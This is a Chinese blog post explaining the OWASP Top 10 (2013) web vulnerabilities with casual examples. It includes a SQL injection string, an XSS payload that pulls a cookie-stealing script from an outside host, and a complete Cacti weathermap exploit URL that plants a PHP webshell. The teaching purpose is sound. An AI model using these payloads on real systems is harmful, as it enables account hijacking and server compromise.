A-A+

OWASP Top 10 – 2013-Top 10 详解

2016年12月05日 19:29 学习笔记 暂无评论 阅读 556 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

虽然感觉自己写的很渣渣,但是也比http://www.owasp.org.cn/owasp-project/download/mobile-top-10-2013-2 这个强。。。这里面人话太少了。就是硬把英文翻译成中文。

A1:注入  (Injection)

[危害等级:严重]

解释:说白了,就是MySql、MsSql、LDAP等等一些常见的注入。再直白点说就是“坏人”发送简单的基于程序语言的有攻击利用性的拼接语句。(当然你以为光是程序上的算是注入?内部人员透漏隐私信息也算呦。)

举个栗子:http://example.com/app/accountView?id=1' or '1'='1  (后面的语句就变成了 SELECT * FROM 表 where id='1' or '1'='1'  如果是这样后果可想而知)

再举个栗子:假设你找到一个上市公司老板,跟他喝了5瓶二锅头,套出他明天要演讲会有几百万人观看,他会说科大讯飞语音输入法很屌我锤手机很好,然后你就得知科大讯飞的股票可能会暴涨。(准确的说从别人口中套出对方公司的机密,这是现实版的注入。)

A2:不安全的认证和会话管理 (Broken Authentication and Session Management)

[危害等级:严重]

解释:呃,,这个涉及的面挺多挺广,就是说网址登陆的时候没有加密、SESSION没有做超时设置、Session暴露在外部url中、Cookie没有加密、密码强度过弱等等。

举个栗子:假设用户A查看自己的某个机票订单,然后他把这个订单链接发送给了朋友,结果朋友打开这个链接,直接就以用户A的身份访问了网址。示例网址:http://example.com/sale/saleitems?sessionid=268544541&dest=userA&orderid=123456

再举个栗子:Session超时设置不当。用户在旅店的电脑访问网站。走之后选择关闭网页,而不是选择的“注销”。攻击者使用相同的浏览器一个多小时后,而仍然可以用这个人的身份访问这个网页。

A3:跨站脚本攻击 (Cross-Site Scripting (XSS))

[危害等级:中等]

解释:这个就好说了,就是XSS攻击么(储存XSS、反射XSS),超级直白的说,任何人都可以发送各种数据到系统中,无论是外部用户(例如某个网站支持游客评论评论),内部用户(例如会员留言)或管理员。

举个栗子:假设某个网站有让用户输入评论,然后“坏人”输入:<sCRiPt sRC=http://xss.t00ls.net/xspt></sCrIpT> 这将就将此恶意获取cookie的代码插入到网站中,使普通用户访问带此代码的页面,“坏人”就会劫持用户的当前会话。(话外话,其实如果不配合其他漏洞,单是它自己,危害也真就是中等而已)

A4:未授权访问,平行权限(Insecure Direct Object References)

[危害等级:中等]

解释:其实这个后面的英文谷歌翻译结果是:不安全的直接对象引用  , 我表示意思从字面就可以理解了。不懂的看举例吧。

举个栗子:接刚才那个用户A查看机票的事继续说吧,假设他查看自己的机票订单访问地址:http://example.com/sale/saleitems?orderid=123456  当他更改了一下orderid这个变量后面的参数值,例如:http://example.com/sale/saleitems?orderid=123457 就可以看到别人的订单信息。这就是这个漏洞啦。(这种漏洞经常会出现的,很多研发只是验证当前用户ID是否存在,当前订单ID是否存在,并没有做订单中的userID与当前用户ID做对应验证,就导致了这种漏洞的出现。)

A5:安全配置错误 (Security Misconfiguration)

[危害等级:中等]

解释:就是你服务器的配置、或者安装的软件配置、或者安装的程序配置等等,并没有配置正确或者用的都是默认的配置。这样会导致“坏人”恶意利用。

举个栗子:拿前段时间非常火的Redis来说吧,安装完并没有设置密码使用的都是默认的设置,导致别人可以登陆,然后写Shell。

再举个栗子:你的服务器上的网站目录列出没有被禁用。攻击者发现她可以简单地列出目录找到任何文件。攻击者找到并下载所有的编译的Java类,这是她反编译和反向工程得到所有的自定义代码。然后,她发现在应用程序中一个严重的访问控制缺陷。

A6:敏感数据曝光 (Sensitive Data Exposure)

[危害等级:严重]

解释:说白了就是网站没用任何加密措施,什么密码,什么敏感信息,什么验证等。

举个栗子:一个网站根本没有使用SSL认证所有页面(简单点说没用https)。攻击者只需监控网络流量(如一个开放的无线网络,打开ARP监控软件),并窃取用户的会话cookie。攻击者然后重放这个cookie和劫持用户会话,就可以访问用户的私人数据。

再举例子:密码数据库使用明文存储用户密码,或者使用txt等存储密码。一个文件上传漏洞允许攻击者获取密码文件。

A7:功能无访问限制(Missing Function Level Access Control)

[危害等级:中等]

解释:类似于未授权访问,但是主要不是针对用户,而是管理层。以用户权限可使用管理层权限。

举个栗子:攻击者简单地更改浏览器的URL。下面的网址需要验证。也需要进入管理员权限admin_getappInfo页面。http://example.com/user/getappInfo  →→ http://example.com/admin/admin_getappInfo 普通用户正常应该访问前面的URL,虽然后面的这个URL看不见,但是如果用户直接浏览器输入也是可以正常访问和使用功能的话那么就属于这个漏洞了。

A8:跨站请求伪造(CSRF)(Cross-Site Request Forgery (CSRF))

[危害等级:中等]

解释:是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。(来源百度)

举个栗子:比如我要攻击一个存在问题的blog,那就先去目标blog留言,留下一个网址,诱其主人点击过来(这个就要看你的忽悠本事咯:p),然后构造个HTML表单提交些数据过去(比如增加一个这个blog的管理员账户)。当他打开这个页面的一刹那,代码就会自动提交数据到那个blog。

A9:使用有漏洞的组件 (Using Components with Known Vulnerabilities)

[危害等级:中等]

解释:如数据库、框架,和其他软件模块,几乎都拥有完全权限的运行。如果利用有漏洞的组件,这种攻击可以导致数据丢失或服务器被入侵。

举个栗子:CVE-2012-3451 这个漏洞而言。Apache CXF存在安全漏洞,可允许攻击者执行SOAP Action欺骗和中间人攻击攻击。此漏洞源于SOAP请求标头中的SOAP Action字符串没有正确验证主体数据。(Apache的CXF是一个服务框架,不要与Apache应用服务器弄混了。)

再举一个容易理解的栗子:weathermap插件任意文件写入getshell,只要Cacti服务器安装了weathermap插件,可写入任意文件。只要访问下面的URL就可以:/plugins/weathermap/editor.php?plug=0&mapname=f.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&link_commentin=&link_commentposin=95&link_commentout=&link_commentposout=5&map_title=%3C%3Fphp%20echo%20md5%281%29%3B%40%24_GET%5Bca%5D%28%40%24_REQUEST%5Bf%5D%29%3B%3F%3E&map_legend=Traffic+Load&map_stamp=Created%3A+%25b+%25d+%25Y+%25H%3A%25M%3A%25S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=&editorsettings_showvias=0&editorsettings_showrelative=0&editorsettings_gridsnap=NO

访问之后,/plugins/weathermap/configs/f.php?ca=assert 密码:f   这个就属于典型的组件漏洞。

再举一个:假设你使用ThinkPHP最新版3.0RC1来二次开发做程序,但是这个版本存在XSS漏洞,所以你的程序自然就带XSS漏洞了(千万别跟我说你二次开发的时候把这个漏洞修补了,我不信!)。这就属于使用有漏洞的组件。

A10:未经验证的重定向和转发 (Unvalidated Redirects and Forwards)

[危害等级:中等]

解释:这个特别特别简单了,就是从自己的网站,跳转到另一个网站,而这个另一个网站你随意构造成任何URL都可以跳到这个地址。

举个栗子:http://www.example.com/redirect.jsp?url=evil.com 注意后面的参数evil.com  这个地址可以随意更改成任何网站,都可以跳过去。

再拿我自己博客举例子:http://gdd.gd/url.php?url=http://www.baidu.com/  我后面的这个参数也是没有验证的,随便跳,如果有人做了一个钓鱼页面,直接就跳转过去,然后把这个地址发送给小白,小白不懂,以为跟原站一样的登陆页面,他以登陆,那就中招了。。。

标签:

给我留言